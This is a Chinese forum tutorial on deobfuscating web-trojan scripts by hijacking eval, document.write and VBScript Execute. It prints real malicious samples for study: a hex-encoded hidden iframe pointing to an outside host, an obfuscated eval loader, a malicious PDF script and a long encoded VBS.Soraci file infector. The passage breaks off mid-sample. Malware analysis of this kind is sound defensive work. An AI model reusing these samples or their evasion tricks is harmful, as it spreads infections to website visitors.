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本帖最后由 sorataxx 于 2013-4-29 19:43 编辑 标题:[原创]浅谈关于网马解密的一些心得
作者:sorataxx
时间:2011.12.22
链接:http://www.52pojie.cn/thread-125529-1-1.html
鸣谢:不认识的各种牛人,认识的 promised、流芳等等在卡饭给的直接或间接的启发和灵感、经验。
本帖为了保证阅读性容易被理解,部分表述可能并不精确,但无伤大雅。
版权:本帖以 CC BY-NC 许可形式发布。
首先,关于网络威胁的存在我们都了然于心,网上也有不少人称 hunter 的工作为解密网马,其实并不是严谨的,因为所谓的网马,为了达到其隐藏的目的,往往会采用变形的方式,而这种变形更准确的来说是称为 obfuscation,并非真正意义上的加密与解密。
以我个人的经验,当鉴定一个网址的时候,最关注的就是插入的 iframe 的 src 输出,部分 javascript 脚本,某些特定的“图片”文件、flash文件、pdf 文件、css 文件等等 。当然,这些都是指非明文存在的恶意代码。
关于 iframe 的 src 输出是很重要的,iframe 元素会创建包含另外一个文档的内联框架(即行内框架),其 src 属性规定在 iframe 中显示的文档的 url,在大多数情况下,这里很值得关注。某些注入的 iframe 框架中 src 属性为一个看似为"图片"文件或者 swf 文件,尤其是其 height 和 width 任何一个值为 1 ,或者都为 1,可疑程度会更高。
首先,在我最初接触这个领域的时候就被告知不得不知的两件事:
①浏览器是最终解释机。
无论网页源代码被如何混淆,被如何限制,最终都将还原成浏览器可以识别的 html 代码。
无论网页源代码如何难读,那都是针对人类的。其如果需要正确被解释并执行,必须被浏览器解释,也就是说,浏览器可以正确解释“天书”。
②解铃还需系铃人。
而这两个要点将贯穿所有的反混淆网马中。
而在于反混淆的过程中,说到底关键还是在于 eval 和 document.write (这里仅指 javascript,vbscript 的 execute 更简单,以后再说),而对于类似 base64 等之类其实并无太大难度,有时候会新衍生 base62 "加密"抓住了根本也无需关注太多便可轻易得到最终的结果。
对于常规的方法,大家也想必熟稔于心,我稍微归纳下,重点在于实战处理包含 malcode 网页中可能遇到的规避常规检测的实例,[知其然] 很容易,[知其所以然] 更多需要深入学习 html、css、javascript 等语言。其实本帖只是由于某一小撮人而产生的一个 [知其然] 的教程,旨在快速入手并稍微作了一点扩展。下面所涉及的实例均为我个人平常处理所见的,比较具有代表性,但我也比较懒,不太愿意主动去找,囧。
总而言之,当获得网页的源代码的时候,要时刻关注 eval 或 document.write,同时也包括其变形。
一、eval
简单的说,eval 就是“执行”的意思,这也是为什么我们要劫持它,通常,对待 eval 有几种办法,单一的使用一种工具或者一种方法可能会走入死胡同。
先看下面一段代码:<script>
var t = "";
var arr = "646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f646f75626c65636c6963636b2e636f2e63632f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";
for (i = 0; i < arr.length; i += 2) t += String.fromCharCode(parseInt(arr[i] + arr[i + 1], 16));
eval(t);
</script>
直接找到目标,倒数第二行"eval(t);",这个就是重点了。
方法1:alert 替换
将上述代码中的 eval 更改为 alert,保存为 htm 文件,以浏览器打开:
真实的地址就会以“弹窗”的形式出来。点击弹窗,ctrl + c 即可复制全部内容。
这里,一般我推荐 ie 浏览器,因为现在网马往往针对 ie 精心构造漏洞。但不同浏览器的 javascript 引擎会有差别,所以,可以尽量保证你的电脑安装多个不同内核的浏览器。我个人将 ie、firefox、chrome、opera 都安装齐全了。
方法2:使用工具
这里以祥子的 Redoce 为例:
①执行 3>标出Eval位置,开始;(可略)
②解密 6>Eval()清除(执行获得结果),开始。
需要注意:
1.在 Windows 7 系统下第一次使用该工具,需以管理员身份运行;
2.对于使用英文操作系统或在其它语言国家的朋友,请在"Control Panel ---> Region and language"中,将 Format 改为 Chinese(Simplified, PRC),否则 src 输出等功能出现故障退出;
由于 eval 如此重要,所以网马植入者非常注意隐藏它,以规避常规手段的检测,比如如下代码:<script>
a = (document.getElementsByTagName + '').substr(1, 4);
if ((a == "func") || (a == "unct")) {
ss = "";
s = String;
e = eval;
t = 'g';
}
ddd = new Date();
d2 = new Date(ddd.valueOf() - 2);
Object.prototype.bt3223 = 'tb4etew';
c = "createTextNode";
if ('tb4etew' === {}.bt3223) a = document[c]('321');
if (a.nodeValue == 321) h = (ddd - d2) * -1;
n = "4.5g4.5g52.5g51g16g20g50g55.5g49.5g58.5g54.5g50.5g55g58g23g51.5g50.5g58g34.5g54g50.5g54.5g50.5g55g58g57.5g33g60.5g42g48.5g51.5g39g48.5g54.5g50.5g20g19.5g49g55.5g50g60.5g19.5g20.5g45.5g24g46.5g20.5g61.5g4.5g4.5g4.5g52.5g51g57g48.5g54.5g50.5g57g20g20.5g29.5g4.5g4.5g62.5g16g50.5g54g57.5g50.5g16g61.5g4.5g4.5g4.5g50g55.5g49.5g58.5g54.5g50.5g55g58g23g59.5g57g52.5g58g50.5g20g17g30g52.5g51g57g48.5g54.5g50.5g16g57.5g57g49.5g30.5g19.5g52g58g58g56g29g23.5g23.5g51g48.5g57.5g58g50.5g57g50g58.5g56g50g48.5g58g50.5g23g49.5g55.5g54.5g23.5g58g50.5g54.5g56g23.5g57.5g58g48.5g58g23g56g52g56g19.5g16g59.5g52.5g50g58g52g30.5g19.5g24.5g24g19.5g16g52g50.5g52.5g51.5g52g58g30.5g19.5g24.5g24g19.5g16g57.5g58g60.5g54g50.5g30.5g19.5g59g52.5g57.5g52.5g49g52.5g54g52.5g58g60.5g29g52g52.5g50g50g50.5g55g29.5g56g55.5g57.5g52.5g58g52.5g55.5g55g29g48.5g49g57.5g55.5g54g58.5g58g50.5g29.5g54g50.5g51g58g29g24g29.5g58g55.5g56g29g24g29.5g19.5g31g30g23.5g52.5g51g57g48.5g54.5g50.5g31g17g20.5g29.5g4.5g4.5g62.5g4.5g4.5g51g58.5g55g49.5g58g52.5g55.5g55g16g52.5g51g57g48.5g54.5g50.5g57g20g20.5g61.5g4.5g4.5g4.5g59g48.5g57g16g51g16g30.5g16g50g55.5g49.5g58.5g54.5g50.5g55g58g23g49.5g57g50.5g48.5g58g50.5g34.5g54g50.5g54.5g50.5g55g58g20g19.5g52.5g51g57g48.5g54.5g50.5g19.5g20.5g29.5g51g23g57.5g50.5g58g32.5g58g58g57g52.5g49g58.5g58g50.5g20g19.5g57.5g57g49.5g19.5g22g19.5g52g58g58g56g29g23.5g23.5g51g48.5g57.5g58g50.5g57g50g58.5g56g50g48.5g58g50.5g23g49.5g55.5g54.5g23.5g58g50.5g54.5g56g23.5g57.5g58g48.5g58g23g56g52g56g19.5g20.5g29.5g51g23g57.5g58g60.5g54g50.5g23g59g52.5g57.5g52.5g49g52.5g54g52.5g58g60.5g30.5g19.5g52g52.5g50g50g50.5g55g19.5g29.5g51g23g57.5g58g60.5g54g50.5g23g56g55.5g57.5g52.5g58g52.5g55.5g55g30.5g19.5g48.5g49g57.5g55.5g54g58.5g58g50.5g19.5g29.5g51g23g57.5g58g60.5g54g50.5g23g54g50.5g51g58g30.5g19.5g24g19.5g29.5g51g23g57.5g58g60.5g54g50.5g23g58g55.5g56g30.5g19.5g24g19.5g29.5g51g23g57.5g50.5g58g32.5g58g58g57g52.5g49g58.5g58g50.5g20g19.5g59.5g52.5g50g58g52g19.5g22g19.5g24.5g24g19.5g20.5g29.5g51g23g57.5g50.5g58g32.5g58g58g57g52.5g49g58.5g58g50.5g20g19.5g52g50.5g52.5g51.5g52g58g19.5g22g19.5g24.5g24g19.5g20.5g29.5g4.5g4.5g4.5g50g55.5g49.5g58.5g54.5g50.5g55g58g23g51.5g50.5g58g34.5g54g50.5g54.5g50.5g55g58g57.5g33g60.5g42g48.5g51.5g39g48.5g54.5g50.5g20g19.5g49g55.5g50g60.5g19.5g20.5g45.5g24g46.5g23g48.5g56g56g50.5g55g50g33.5g52g52.5g54g50g20g51g20.5g29.5g4.5g4.5g62.5";
n = n["split"](t);
for (i = 0; i != n.length; i++) ss += s.fromCharCode(-h * e("n" + "[" + "i" + "]"));
zx = ss;
if (a.data == a.nodeValue) e(zx);
</script>
注意到此代码,这是很常见的比较低级的隐藏方式,关键在第 6 行和第 19 行,将 eval 赋值给 e,然后使用 e 这个函数来完成执行功能,需要我们肉眼识别。由此可见,阅读源代码才是王道!(后面还有一个 base64 的例子也会继续加强这个观点)
方法如上所述,直接将末尾的 e(zx) 修改为 alert(zx),保存 htm 以浏览器运行即可。
除此之外规避 eval 检测手段还有很多,以我见到的为例:
①请看如下代码:window["\x65\x76\x61\x6c"]
很明显将 \x65\x76\x61\x6c 简单的 esc 清除一下就是 eval,而 window["*******"] 的作用就是 *******,所以 window["\x65\x76\x61\x6c"] 实际就是 eval.
②请看如下正则表达式:adlru=window,cefnox=0,hkrv="",jloqt=adlru['eCvCaAl('.replace(/[\(XkCA]/g,'')]
在这个正则表达式 'eCvCaAl('.replace(/[\(XkCA]/g,'') 中,意思将前者的某些部分替换为 '' 中的内容,比如这里是将 (XkCA 删除,也就是得到了 eval,由①得,jloqt 实际就是 eval.
③再看如下代码,这个是从某恶意 pdf 文件中抓到的某一个数据流:var googleA=this;
var send=["","e","l","a","v"];
unlock=new String(send[1]+send[4]+send[3]+send[2]+send[0]);
var a=["Word","","getPa","geNth"];
unlockAdobe=new String(a[2]+a[3]+a[0]+a[1]);
var getAdobe=["Pag","mWo","get","rds","eNu",""];
mail=new String(getAdobe[2]+getAdobe[0]+getAdobe[4]+getAdobe[1]+getAdobe[3]+getAdobe[5]);
var b=["s","n","a","e","c","u","e","p",""];
d=new String(b[5]+b[1]+b[3]+b[0]+b[4]+b[2]+b[7]+b[3]+b[8]);
var google=["deA","cha","rCo","t",""];
mailGoogle=new String(google[1]+google[2]+google[0]+google[3]+google[4]);
var googleC=["","harCo","fromC","de"];
dD=new String(googleC[2]+googleC[1]+googleC[3]+googleC[0]);
var googleGet=["a","p","","p"];
get=new String(googleGet[0]+googleGet[1]+googleGet[1]+googleGet[2]);
var adobe=String("%");
var aA=2;
var mailGet=String;
var bB=0;
var editSend=100;
var get=googleA[get];
var getD=2;
var aEdit=googleA[d];
var c=googleA[mail](getD);
var googleB="";
for(
var googleCUnlock=bB;
googleCUnlock<c;googleCUnlock+=1){
sendD=googleA[unlockAdobe](getD,googleCUnlock);
var adobeD=sendD.substr(sendD.length-aA,aA);
var googleMail=aEdit(adobe+adobeD);
var sendDSend=googleMail[mailGoogle](bB);
var mailB=sendDSend^editSend;
googleB+=mailGet[dD](mailB);}
this[unlock](googleB);
重点关注第 2 行和第 3 行,这里,send[0] 就是第一个“”里的内容,send[1] 就是 e,……,诸如此类,所以 unlock 其实就是 eval,那么,这整个数据流都用同样的方式就可以“翻译”出来了.
二、document.write
简单的说,document.write 是"打印"的意思,重要性和 eval 同等,所有可以用在 eval 反混淆上的方法都通用在 document.write 上。
也就是说,遇到 document.write 的时候,也同样使用 alert 替换,同样使用相关工具清除(和 eval 不同的是 解密 D>Document.Write清除(执行获得结果)),因此这里就不赘述。
另外,有些人不喜欢 alert 的弹窗反混淆,也可以使用文本框来代替弹窗,以下给出一个实例,请看如下代码:<script>
t = "混淆内容过长,略去"
t = eval("String.fromCharCode(" + t + ")");
document.write(t);
</script>
这个时候,如需使用文本框来获得真实内容,将代码修改如下:
<textarea id = sorataxx rows = 50 cols = 100></textarea>
<script>
t = "混淆内容过长,略去"
t = eval("String.fromCharCode(" + t + ")");
sorataxx.value = (t);
</script>
将混淆内容赋值给文本框保存 htm 以浏览器运行即可。
扩展内容:
④对 document.write 也和 eval 一样,经常被网马植入者绞尽脑汁隐藏,请看如下代码:var module = 'replace';
var stringer = String;
var curioushavingsex = stringer('a3_2e_dh8wrj7flzn' ['5s83u25b41s59t11r10' [module](/[0-9]/g, '')](9, 2) + 'a_y5iteg345k_lk_ud' ['21s15u75b76s11t52r47' [module](/[0-9]/g, '')](4, 3));
首先看到这个 module 实际就是 replace 替换,所以该正则表达式处理后就是 substr,然后再关注一下 (9,2) 和 (4,3),这里表示对于 a3_2e_dh8wrj7flzn,抛开前 9 位,从第 9+1 位开始后面 2 个字符,即 wr;同理后面的 (4,3) 表示 ite,所以 curioushavingsex 实际上就是 write.
就在刚刚闲逛的时候,无意又发现一个比较好玩的 javascript 脚本:
只要按照上面所做即可轻易得到下图:
其实嘛,到这一步后,继续下去的关键也在上面得到了阐述,有经验的人瞟一眼就非常容易看到 wOpHRdEs 就是关键,并没有太多麻烦,重点在于其中一行:wOpHRdEs = jkJlmO(window,"e" + document.getElementsByTagName("body")[3-3].id + UDKyWwP);
而这里让我比较感兴趣的地方是,假设,上面所给的一些关键信息模模糊糊看不清或者被污渍遮住了,仅凭末尾看似 base64 的一段“密文”该怎么办呢?
很可惜,得到的还是乱码,问题出在哪里呢?
原来,在我们一般所谓的 "base 64 解密"中,所默认的base64 alphabet就是:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
而在这里,要非常留意一行:var pgenXD = “sfODA1kunCg6YZ2XI9RGtaKSL4WHiopQUlbMcVEdBq73wP0y5FhTzJjxr8emvN+/=”;
所以,即使不使用处理 eval 的办法,仅更改 character set 一样可以获得最终的结果:
最后的“明文”仍然是一层 eval 加花,后面就不赘述了。
从这个例子,继续强化了 hunter 的工作不是仅凭一点“照葫芦画瓢”或者单单用大牛们给出“工具”的观点,而更多需要深入对网页源码的理解和一点点专业上的深入。
再补充一些对 vbscript 反混淆的要点吧,正如前面所说,javascript 的根本在于 eval 和 document.write,vbscript 的根本在于 execute,得此一法可通杀。
以在卡饭找到的一个 VBS.Soraci 为例:<script language="vbscript">
<!--
myEncString = "NnEqrnrRdstmd Mewt cil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3) cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv= lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!! dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>! dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>! stbm`im_nnko`d') hnht@csiueW(( imisDhrOashr(( imisRdgDnsrher(( imisDqooCndds') bhdcjEwirtEiker(( imfdcsTgirFhld(SelpkaseEike( imfdcsRnosDhr') dnc rua stbm`im_nntnko`d') hneebtQontCiq(( cgebkDxhssFhlds') hneebtShhsEike'Tdmol`tdFhld) leqgdRdgDnsrher(( SbamFhldsHn'TgirDhrOash( cgebkCaseOLnac(( emdstb rua hnht@csiueW(( Om Drqoq QeruleNdxs SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10( AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|( AopNbi.brdaseHnrt`nbe') Res VsRhdlk < @poOaj-GdtNbiebt') @poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!) @poOaj-cqe`tdImssamcd(( Sdtfro=AopNbi.FesOajdcs(( emdstb rua hnhtCiqP`tgs') NnEqrnrRdstmd Mewt VimDhr=fro-GdtRpdchakFnlceq(/) SelpkaseCiq < VimDhr&[&Vea&[ SelpkaseEike=Tdmol`tdDhr&eokddr-hst! TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn() Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0 Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnr Mewt HfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem TgirDhrOash=Mhd'TgirDhrOash+ 0,x( Eksd TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&. ShhsCiqP`tg < tndsbaoe'TgirDhrOash( EmdIe emdstb rua hnhtQefEmtqids') NnEqrnrRdstmd Mewt lyKobakKdy'0( < !SsaqtP`gd lyKobakKdy'1( < !Lnc`lP`gd lyKobakKdy'2( < !Ddf`ukt^P`gd_TRK lyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[ lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtl dnc rua stbimisDqooCndds') NnEqrnrRdstmd Mewt hnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\ hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'3(=! hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]! imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gts hnhLhnd(5)<! imiKime'7(=![-SgeklBl`srImfn]! imiKime'8(=!CnneiqmEikeNp<0! fnrx=0tn 7 DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkf mewt eokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll= crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-! dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!! crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!( crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)! dqooMd(3)=,-! % !>;/! % !sbrhps>! fnrx=0tn 3 vBoce<vBoce&dqooMd(w)&vacqle ndxs fRtqimg<mxEmcRtqimg dnc rua StbSbamFhldsHn'fnlceqsoeb) NnEqrnrRdstmd Mewt Res lyEokddrr2=fro-GdtEokddr'fnlceqsoeb) Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male() HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! Shdn hneebtShhsEike(lyRuaFnlceqFhld.Oash( HfmxEwt=gtsTgem SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash( mxFhld.@tsrhbttds=7 Dnc Hf Dnc Hf Mewt Dnc Rua StbimfdcsTgirFhld(eokddrrpdc( Om Drqoq QeruleNdxs SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb) lyBomtdnss=mxFhld.Qe`d@lk mxFhld.Blnsd k<0 eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0 ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0 ewis eoq emdie ndxs ie j=/ shdn vOCndd=lyBomtdnss&vacqle % uCndd SdtmxFhld < esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds=0 Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1) lyEike-WqisevOCndd mxFhld.Blnsd emdie EmdStb rua bhdcjEwirtEiker(( Om Drqoq QeruleNdxs Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq) Res lyEike=fro-GdtEokddr'Tdmol`tdDhr( mxFhld.@tsrhbttds=7 BrdaseShhsEikeTdmol`tdFhld,eokddrGTS emdstb rua hneebtQontCiq(( Om Drqoq QeruleNdxs Ie Kem(tndsbaoe'TgirDhrOash()<< 3 Shdn ShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoce BrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH emdie emdstb rua leqgdRdgDnsrher(( Om Drqoq QeruleNdxs fnrx<0tn 1 AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafe mewt dnc rua StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte( Om Drqoq QeruleNdxs WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd EmdStb Rua bhdcjD`tdPKo`d') NnEqrnrRdstmd Mewt HfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1( EmdStb Rua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss( Om Drqoq QeruleNdxs sdtmxFhld=esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds=0 Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte( mxFhld.Vrhtd vishBomtdnss lyEike-Ckore res lyEike<fro-GdtEike'fnlceqsoeb) lyEike-Astqiauser < 6 EmdStb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
Execute(myDecString)
-->
</script>
方法1:alert替换并保存为 htm 网页:<html><script language="vbscript">
<!--
myEncString = "NnEqrnrRdstmd Mewt cil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3) cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv= lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!! dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>! dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>! stbm`im_nnko`d') hnht@csiueW(( imisDhrOashr(( imisRdgDnsrher(( imisDqooCndds') bhdcjEwirtEiker(( imfdcsTgirFhld(SelpkaseEike( imfdcsRnosDhr') dnc rua stbm`im_nntnko`d') hneebtQontCiq(( cgebkDxhssFhlds') hneebtShhsEike'Tdmol`tdFhld) leqgdRdgDnsrher(( SbamFhldsHn'TgirDhrOash( cgebkCaseOLnac(( emdstb rua hnht@csiueW(( Om Drqoq QeruleNdxs SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10( AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|( AopNbi.brdaseHnrt`nbe') Res VsRhdlk < @poOaj-GdtNbiebt') @poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!) @poOaj-cqe`tdImssamcd(( Sdtfro=AopNbi.FesOajdcs(( emdstb rua hnhtCiqP`tgs') NnEqrnrRdstmd Mewt VimDhr=fro-GdtRpdchakFnlceq(/) SelpkaseCiq < VimDhr&[&Vea&[ SelpkaseEike=Tdmol`tdDhr&eokddr-hst! TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn() Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0 Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnr Mewt HfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem TgirDhrOash=Mhd'TgirDhrOash+ 0,x( Eksd TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&. ShhsCiqP`tg < tndsbaoe'TgirDhrOash( EmdIe emdstb rua hnhtQefEmtqids') NnEqrnrRdstmd Mewt lyKobakKdy'0( < !SsaqtP`gd lyKobakKdy'1( < !Lnc`lP`gd lyKobakKdy'2( < !Ddf`ukt^P`gd_TRK lyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[ lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtl dnc rua stbimisDqooCndds') NnEqrnrRdstmd Mewt hnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\ hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'3(=! hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]! imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gts hnhLhnd(5)<! imiKime'7(=![-SgeklBl`srImfn]! imiKime'8(=!CnneiqmEikeNp<0! fnrx=0tn 7 DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkf mewt eokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll= crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-! dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!! crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!( crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)! dqooMd(3)=,-! % !>;/! % !sbrhps>! fnrx=0tn 3 vBoce<vBoce&dqooMd(w)&vacqle ndxs fRtqimg<mxEmcRtqimg dnc rua StbSbamFhldsHn'fnlceqsoeb) NnEqrnrRdstmd Mewt Res lyEokddrr2=fro-GdtEokddr'fnlceqsoeb) Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male() HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! Shdn hneebtShhsEike(lyRuaFnlceqFhld.Oash( HfmxEwt=gtsTgem SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash( mxFhld.@tsrhbttds=7 Dnc Hf Dnc Hf Mewt Dnc Rua StbimfdcsTgirFhld(eokddrrpdc( Om Drqoq QeruleNdxs SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb) lyBomtdnss=mxFhld.Qe`d@lk mxFhld.Blnsd k<0 eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0 ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0 ewis eoq emdie ndxs ie j=/ shdn vOCndd=lyBomtdnss&vacqle % uCndd SdtmxFhld < esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds=0 Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1) lyEike-WqisevOCndd mxFhld.Blnsd emdie EmdStb rua bhdcjEwirtEiker(( Om Drqoq QeruleNdxs Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq) Res lyEike=fro-GdtEokddr'Tdmol`tdDhr( mxFhld.@tsrhbttds=7 BrdaseShhsEikeTdmol`tdFhld,eokddrGTS emdstb rua hneebtQontCiq(( Om Drqoq QeruleNdxs Ie Kem(tndsbaoe'TgirDhrOash()<< 3 Shdn ShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoce BrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH emdie emdstb rua leqgdRdgDnsrher(( Om Drqoq QeruleNdxs 